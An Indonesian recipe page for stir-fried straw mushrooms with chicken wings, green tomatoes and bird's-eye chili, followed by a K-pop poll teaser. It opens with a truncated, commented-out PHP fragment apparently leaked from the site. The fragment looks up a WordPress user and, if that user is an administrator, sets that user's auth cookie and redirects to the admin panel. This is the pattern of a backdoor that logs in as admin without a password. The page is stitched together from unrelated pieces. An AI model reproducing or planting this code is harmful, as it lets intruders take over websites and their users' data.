user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Ayam & Bebek
Tumis Jamur Sayap Rawit

15 Apr 2013


Ide seru memanfaatkan sayap ayam yang jarang dilirik.

Bahan:

  • 250 g jamur merang
  • 250 g sayap ayam (buang ujungnya)
  • 3 sdm minyak
  • 4 siung bawang putih, cincang
  • 7 siung bawang merah, iris tipis
  • 3 cm lengkuas, memarkan
  • 1 lembar daun salam
  • 12 buah cabai rawit, iris serong
  • 2 sdt gula pasir
  • ½ sdt merica putih bubuk
  • 1sdt garam
  • 5 buah tomat hijau, belah  4 bagian

Cara Membuat:
 
1.    Bersihkan jamur merang, cuci bersih, belah 4 bagian. Tiriskan.
Advertisement
2.    Bubuhi sayap ayam dengan sedikit garam, remas-remas, diamkan sebentar.
3.    Panaskan minyak, tumis bawang putih, bawang merah, lengkuas, dan daun salam hingga harum. Masukkan sayap ayam, tumis hingga kaku.
4.    Tambahkan cabai rawit, tumis sebentar hingga cabai agak kering. Bubuhi gula, merica, dan garam.
5.    Masukkan irisan tomat hijau. Tutup, masak hingga bumbu meresep. Masukkan jamur,  aduk rata. Angkat.
6.    Sajikan (f)


Untuk 6 porsi




 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?